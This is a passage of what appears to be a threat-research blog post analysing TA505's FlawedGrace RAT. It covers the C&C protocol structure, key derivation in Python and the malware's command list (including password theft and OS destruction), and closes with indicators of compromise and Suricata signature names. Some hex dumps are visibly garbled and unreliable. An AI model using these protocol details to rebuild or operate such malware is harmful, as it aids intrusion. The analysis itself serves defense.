00000162 ab 97 d9 db 28 00 c0 87 6a b1 bc 81 e0 81 01 54 (jT 00000172 07 24 93 8e 46 05 f3 09 47 52 95 1a 79 b6 52 eb .\$F GRy.R. 00000182 90 87 2b 83 a7 c7 9b 26 fc 9d ac 66 47 b4 9d db +&fG 00000192 db 98 e4 b0 d4 3b d0 18 a6 54 9e ad 9f 44 a5 4f ;TD.0 00000182 93 4c 42 41 64 e0 c9 59 cb aa cf 5d 52 7e 2d 2d .LBAdY]R~ 00000182 69 0a bd f8 89 12 1d a7 77 ae 57 c3 d3 b0 f6 54 i w.WT 0000012 45 2c 3e 2f d0 4b a4 7d 60 33 c4 ba 26 9d f3 c9 E,>/.K.} '3& 0000012 3e cb 55 c5 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U\ v.Un. 6 client pkts, 3 server pkts, 6 turns. Entire conversation (1136 bytes) Show and save data as Hex Dump Stream 0 0 Find: Help Filter Out This Stream Print Save as Back Close	00000152	77 7a bb d5 49 55 3d f2 63 e1 81 0a 50 fc 63 10 wzIU=. cP.c.	
00000172 07 24 93 8e 46 05 f3 09 47 52 95 1a 79 b6 52 eb .\$F GRy.R. 00000182 90 87 2b 83 a7 c7 9b 26 fc 9d ac 66 47 b4 9d db +& fG 00000182 90 87 2b 83 a7 c7 9b 26 fc 9d ac 66 47 b4 9d db +& fG 00000192 db 98 e4 b0 43 b0 18 a6 54 9e ad 9f 44 a5 4f f TD.0 00000122 ab ab f6 52 c7 c1 ab ac f6 f3 c9 e, >/.K.} `3.& 000001D2 3e cb 55 c5 b2 0 ` Show and save data as Hex Dump Stream <td< td=""><td>00000162</td><td>ab 97 d9 db 28 00 c0 87 6a b1 bc 81 e0 81 01 54(jT</td><td></td></td<>	00000162	ab 97 d9 db 28 00 c0 87 6a b1 bc 81 e0 81 01 54(jT	
00000182 90 87 2b 83 a7 c7 9b 26 fc 9d ac 66 47 b4 9d db +&fG 00000192 db 98 e4 b0 dt ab 654 9e ad 9f 44 a5 4f , TD.0 000001A2 93 4c 42 41 64 e0 c9 59 cb aa cf 5d 52 7e 2d 2d .LBAdY]R~ 000001B2 69 0a bd f8 91 21 a7 77 ae 57 c3 d3 b0 f6 54 i T D0 000001D2 3e cb 55 c5 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U v.U N.U 0 0 0 0 0 0 0 0 0 0 0 0 0 0	00000172	07 24 93 8e 46 05 f3 09 47 52 95 1a 79 b6 52 eb .\$F GRv.R.	
00000192 db 98 e4 b0 d4 3b d0 18 a6 54 9e ad 9f 44 a5 4f ;	00000182	90 87 2b 83 a7 c7 9b 26 fc 9d ac 66 47 b4 9d db+&fG	
000001A2 93 4c 42 41 64 e0 95 cb aa cf 5d 52 7e 2d .LBAdY]R~ 000001B2 69 0a bd f8 89 12 1d a7 77 ae 57 c3 d3 b0 f6 54 i w.WT 000001C2 45 2c 3e 2f d0 4b a4 7d 60 33 c4 ba 26 9d f3 c9 E, >/.K.} '3& 000001D2 3e cb 55 c5 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U\ v.U\ v.U\ 6 client pkts, 3 server pkts, 6 turns. Show and save data as Hex Dump< Stream	00000192	db 98 e4 b0 d4 3b d0 18 a6 54 9e ad 9f 44 a5 4f	
000001B2 69 0a bd f8 89 12 1d a7 77 ae 57 c3 d3 b0 f6 54 i w.WT 000001D2 45 2c 3e 2f d0 4b a4 7d 60 33 c4 ba 26 9d f3 c9 E, >/.K.} `3& 000001D2 3e cb 55 c5 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U\ v.U\ v.U\ 6 client pkts, 3 server pkts, 6 turns. 5 Show and save data as Hex Dump Stream 0 ° ° Find: Find Next Help Filter Out This Stream Print Save as Back Close	000001A2	93 4c 42 41 64 e0 c9 59 cb aa cf 5d 52 7e 2d 2d .LBAdY]R~	
000001C2 45 2c 3e 2f d0 4b a4 7d 60 33 c4 ba 26 9d f3 c9 E, >/.K.} '3& 000001D2 3e cb 55 c5 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U\ v.U\	000001B2	69 0a bd f8 89 12 1d a7 77 ae 57 c3 d3 b0 f6 54 i w.WT	
000001D2 3e cb 55 c5 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U\ v.U\ v.U\ <td< td=""><td>000001C2</td><td>45 2c 3e 2f d0 4b a4 7d 60 33 c4 ba 26 9d f3 c9 E.>/.K.} `3&</td><td></td></td<>	000001C2	45 2c 3e 2f d0 4b a4 7d 60 33 c4 ba 26 9d f3 c9 E.>/.K.} `3&	
6 client pkts, 3 server pkts, 6 turns. Entire conversation (1136 bytes) Show and save data as Hex Dump Find: Help Filter Out This Stream Print Save as Back Close	000001D2	3e cb 55 c5 82 0e f4 5c 76 e1 55 b3 2e e2 6e 80 >.U \ v.Un.	
Entire conversation (1136 bytes) Show and save data as Hex Dump Stream Conversion Find: Find Next Help Filter Out This Stream Print Save as Back Close	6 client okts 3	server akte ßturne	
Entire conversation (1136 bytes) Image: Show and save data as Hex Dump Image: Stream	o chem pris, s	server pkts, o turns.	
Find: Find Next Help Filter Out This Stream Print Save as Back Close	Entire conv	rersation (1136 bytes) 🔅 Show and save data as 🛛 Hex Dump 💲 St	tream 0 🗘
Find: Find Next Help Filter Out This Stream Print Save as Back Close			
Help Filter Out This Stream Print Save as Back Close	Find:		Find Next
Help Filter Out This Stream Print Save as Back Close			
Help Filter Out This Stream Print Save as Back Close			
	Help	Filter Out This Stream Print Save as Back	Close

Figure 8: FlawedGrace's initial C&C communications.

We are still reverse engineering and documenting the protocol, but we can provide an overview of the initial C&C communications below:

Message 1

Initial beacon from infected system. It is a 14-byte binary structure that contains at least the following parts:

- Offset 0x0: CRC32 hash of remaining data (DWORD)
- Offset 0x4: magic bytes "GCRG" (DWORD)

Message 2

Key verification message from infected system. We believe that this is used to verify that one of the encryption keys (static key) is the same on both the malware and C&C server. It is a 52-byte binary structure that contains the following analyzed offsets, among other components still under analysis:

• Offset 0x0: CRC32 hash of remaining data (DWORD)

- Offset 0x14: MD5 hash of the following pieces (16 bytes)
 - A static key which has always been "static pass" in the samples analyzed
 - The random bytes at offset 0x24 that have been hex encoded and uppercased
- Offset 0x24: random bytes (16 bytes)

Message 3

Key exchange message from C&C server. This message delivers a second encryption key (dynamic key) used for further data transfers. It is a 42-byte structure that contains the following analyzed offsets, among other components still under analysis:

- Offset 0x0: CRC32 hash of remaining data (DWORD)
- Offset 0x1a: dynamic key (16 bytes)

Message 4

An example of data transfer between infected system and C&C server. It starts with a 38-byte binary header that contains the following analyzed offsets, among other components still under analysis:

- Offset 0x0: CRC32 hash of the next 10 bytes (DWORD)
- Offset 0xE: AES IV (16 bytes)

Following the header is the data that has been AES-encrypted in CBC mode. The AES key is generated using the "static key" and the "dynamic key" from messages 3 and 4 above. An example of key generation in Python appears in Figure 9.

```
>> static_key = "static pass"
>>> dynamic_key = ";\xf0i\x8a\xd0KX\xb6\xfb\xd2\xdb_B\xa5GR"
>>> md5 = hashlib.md5()
>>> md5.update(static_key)
>>> md5.update(dynamic_key.encode("hex").upper())
>>> md5.digest()
"OK\xb5\xa8B\x9dX\x1b\xc2y8?'\x1f\xa4\xaf"
```

Figure 9: Example FlawedGrace C&C data transfer encryption key generation in Python

Figure 10 shows an example of the plaintext data transferred in message 4.

00000000	ba	98	b6	04	fd	f4	15	be	43	16	11	99	84	ba	6d	3c	m<
00000010	69	6e	66	6f	c4	9d	f4	e6	03	00	00	00	18	00	00	00	info
00000020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	ji
00000030	27	00	00	00	00	00	00	00	00	00	00	00	00	00	00	56	i ' vi
00000040	00	00	00	00	00	00	00	00	20	00	31	41	44	32	38	46	
00000050	30	30	38	35	34	31	41	45	34	30	39	43	34	44	31	45	008541AE409C4D1E
00000060	35	31	30	39	44	45	32	43	34	32	94	02	00	00	00	00	5109DE2C42
00000070	00	00	69	00	00	00	00	04	00	69	6e	66	6f	a2	00	00	
00000080	88	82	88	88	88	20	00	88	00	03	88	89	88	77	61	74	
000000000	65	72	6d	61	72	6b	31	32	33	34	35	36	37	38	39	30	ermark1234567890
00000070	31	32	33	34	35	36	37	38	30	30	31	32	33	34	35	36	1234567890123456
000000000 000000000	37	38	39	30	31	32	h5	88	89	88	7e	88	88	66	94	88	789012
000000000	66	88	Q1	88	03	88	76	65	72	d2	66	88	88	ca	89	88	ver
000000000	88	88	89	88	88	02	99	05	66	62	75	60	60	74	84	88	huilt.
000000000 000000e0	13	5a	88	88	88	80	e6	88	88	60	66	aa	88	66	6 4	88	7
00000000	60	aa	Q1	88	Q4	88	60	73	36	34	16	Q1	aa	aa	fR	88	is64
00000010	aa	88	10	80	aa	80	a/.	66	82	80	6f	73	37	88	20	aa	0.57
00000100	55	80	60	80	74	80	604	88	6d	60	61	60	7/	00	45	<u>aa</u>] + i m a + o
00000110	20	00	37	00	26	00	30	00	21	00	36	Q1	66	00	22	Q1	7 6 9 1 6 4
00000120	20	80	80	80	90	00	a/.	88	0/	00	61	72	63	60	26	01	./.0.0.1.0
00000130	24	00	24	00	62	00	60	00	74	00	50	01	03	00	30	00	
00000140	00	00	2u 10	00	02	00	07	00	04	00	64	61 6f	60 6d	60	40	60	4U.I.L."L.
00000150	57	00	12	00	50	00	64 7.h	00	60	00	50 50	00	٥u د	00	55	00	
00000100	57	00	41	00	02	00	40	00	4/	00	10	00	41	00	00	00	w.u.k.k.G.k.u.u.
00000170	00	00	44	01	60	70	70	74	66	70	те	99	99	90	04	99	PV
00000100	00	00	03	01	ou	10	75	74	00	12							computer/
00000190																	
00000140	80	00	00	00	0/	00	60	00	75	72	45	72	60	61	64	45	usornamo
00000100	53	00	50	00	53	00	5/	00	/5	60	60 4 d	60	00	01	00	00	
00000100	83	80	80	80	a/.	80	a a	88	A1	80	86	80	72	40	67	68	right
00000100 000001e0	74	73	e2	Q1	89	88	Q1	88	80	80	Q/	80	66	aa	Q1	88	+e
00000120	a/.	00	62	6f	6f	7/	26	60 62	00	00	f9	Q1	00	00	20	00	boot&
00000110	04 04	80	Q/.	aa	86	aa	60	6f	63	61	60	65	45	80	60	88	
00000200	67	80	60	80	60	80	73	88	60	801	20	80	28	80	55	88	alieh (11)
00000210	60	00	40	00	7/	00	75	00	60	00	20	00	53	00	7/	00	g.1.1.5.11(.0.)
00000220	61	00	74	00	45	00	72	00	20	00	20	00	00	00	00	00	
00000230	01	00	0/	00	00	00	/3 01	00	27	00	37	62	72	60	00	04	d.l.e.s./.7
00000240	00	10	04	00	00	04	00	00	00	01	00	00	00	40	70	70	lesL
00000250	71	10	00	00	66	04	00	00	00	00	00	03	00	02	00	00	la q
00000200	/ I	62 4 f	60	60	64	62 5f	40	70	21	20	22	20	21	24	20	20	
00000270	20	20	21	22	26	00	07	00	31	37	32	20	31	30	30	20	10 124
00000200	30	20	31	33 0h	30	75	70	60	60	7/	62	60 5f	74	40	60	45	
00000290	60	50	20	50	00	/5	00	04	01	02	00	00	00	07	aa	00	[upuate_time]
00000230	01	28	29	00	00	00	00	60	aa ∠f	62	75	60	60	20	00	00	
00000200	00	00	00	00	00	0/	00	00	01	04	00	00	00	73	00 4 F	70	
00000200	00	66	20	92	00	00	00	00	00	00	00	07	90	/3	00	/2	ser
00000200	/6	00	/2	73	00	00	00	00	00	00	00	00	u2	02	100	00	
00000200	00	03	00	00	30	50	60	03	20	00	e6	02	00	00	1a	00	[0]
00000270	99	66	04	66	64	66	80	01	/3	/4	34	66	30	00	ze	00	nost4.6
00000300																	
00000040	31	00 dal	36	00	31	66	20	00	32	00	37	00 74	2e	10	32	60	
00000310	31 36	00 dd	36 Ca	00 08	31 b8	00 aa	2e e0	00 ef	32 87	00 12	37 6c	00 74	2e ff	00 19	32 20	60 62	1.6.12./2. 6b

Figure 10: Example FlawedGrace C&C message 4 plaintext data

This message contains various system and malware information that has been serialized using the same method as for configuration files. The serialized data is then packaged within additional binary data structures.

While there are other message types with their own formats, the examples here provide initial insight into FlawedGrace's C&C protocol.

FlawedGrace also uses a series of commands, provided below for reference:

- target_remove
- target_update
- target_reboot
- target_module_load
- target_module_load_external
- target_module_unload
- target_download
- target_upload
- target_rdp
- target_passwords
- target_servers
- target_script
- destroy_os
- desktop_stat

Conclusion

Threat actor TA505 is both consistent and prolific. When the group distributes new malware, it may be a blip (like Bart ransomware, which was only distributed for one day in 2016) or like Locky ransomware it may become the dominant strain of malware in the wild. In this case, the group has started distributing two variants on a new backdoor we named ServHelper and a RAT we call FlawedGrace. This also extends the trend that emerged in 2018, in which threat actors increasingly focused on distribution of downloaders, information stealers, RATS, and other malware that can remain resident on victim devices for far longer than destructive, "smash and grab" malware like ransomware. We will continue to observe the distribution of these three malware variants but, at this time, they do not appear to be one-offs, but rather long-term investments by TA505.

References

[1] <u>https://www.proofpoint.com/us/threat-insight/post/ta505-targets-us-retail-industry-personalized-attachments</u>

[2] https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware

Indicators of Compromise (IOCs)

IOC

IOC Description

52c72a9de2f6e892f07827add85ad913b0541cd5c8449aadc2722f8eb75e548c	SHA256	November 9 "Tunnel" campaign attachment
hxxp://officemysuppbox[.]com/staterepository	URL	November 9 "Tunnel" campaign payload
1b0859ddbdebcb9d2bb46de00d73aa21bc617614b8123054426556783b211bc8	SHA256	November 9 "Tunnel" campaign ServHelper
hxxps://checksolutions[.]pw/ghuae/huadh.php	URL	November 9 "Tunnel" campaign ServHelper C&C
hxxps://rgoianrdfa[.]pw/ghuae/huadh.php	URL	November 9 "Tunnel" campaign ServHelper C&C
hxxps://arhidsfderm[.]pw/ghuae/huadh.php	URL	November 9 "Tunnel" campaign ServHelper C&C
eb66ebb95a3dcecae64c61f611a9332fbf460d1b8039d3ab7e4f220104a4bec4	SHA256	November 15 "Downloader" campaign attachment
hxxp://offficebox[.]com/host32	URL	November 15 "Downloader" campaign payload
3cd7e0a8321259e8446b2a9da775aae674715c74ff4923cfc8ec5102f380d41a	SHA256	November 15 "Downloader" campaign ServHelper

f4b9219f329803dd45afd5646351de456e608dd946830c961ec66c6c25e52cac	SHA256	December 13 "FlawedGrace" campaign attachment
hxxp://office365onlinehome[.]com/host32	URL	December 13 "FlawedGrace" campaign payload
d56429d6d0222022fe8f4cb35a28cd4fb83f87b666a186eb54d9785f01bb4b58	SHA256	December 13 "FlawedGrace" campaign ServHelper
hxxps://afgdhjkrm[.]pw/aggdst/Hasrt.php	URL	December 13 "FlawedGrace" campaign ServHelper C&C
efcee275d23b6e71589452b1cb3095ff92b10ab68cd07957b2ad6be587647b74	SHA256	December 13 "FlawedGrace" campaign FlawedGrace
46.161.27[.]241:443	IP:Port	December 13 "FlawedGrace" campaign FlawedGrace C&C
9fccd107bd0aee3a2f39ad76a49758309c95545d8154b808eec24d2b51dc4579	SHA256	"sethijack" command ServHelper
hxxp://dedsolutions[.]bit/sav/s.php	URL	"sethijack" command ServHelper C&C
hxxp://dedoshop[.]pw/sav/s.php	URL	"sethijack" command ServHelper C&C

hxxp://asgaage[.]pw/sav/s.php	URL	"sethijack" command ServHelper C&C
hxxp://sghee[.]pw/sav/s.php	URL	"sethijack" command ServHelper C&C
a9492312f1258567c3633ed077990fe053776cd576aa60ac7589c6bd7829d549	SHA256	"loaddll" command ServHelper
hxxps://vesecase[.]com/support/form.php	URL	"loaddll" command ServHelper C&C

ET and ETPRO Suricata/Snort Signatures

2833522	ETPRO TROJAN Observed Malicious SSL Cert (HuadhServHelper RAT CnC)						
2833552	ETPRO TROJAN HuadhServHelper RAT CnC Domain Observed in SNI						
2833881	ETPRO TROJAN Observed Malicious SSL Cert (ServHelper CnC)						
2833985	ETPRO TROJAN Observed Malicious SSL Cert (ServHelper CnC)						
2834074	ETPRO TROJAN Observed Malicious SSL Cert (ServHelper CnC)						
2834233	ETPRO TROJAN ServHelper CnC Inital Checkin						
2828489	ETPRO TROJAN FlawedGrace CnC Activity						
Subscribe to the Proofpoint Blog							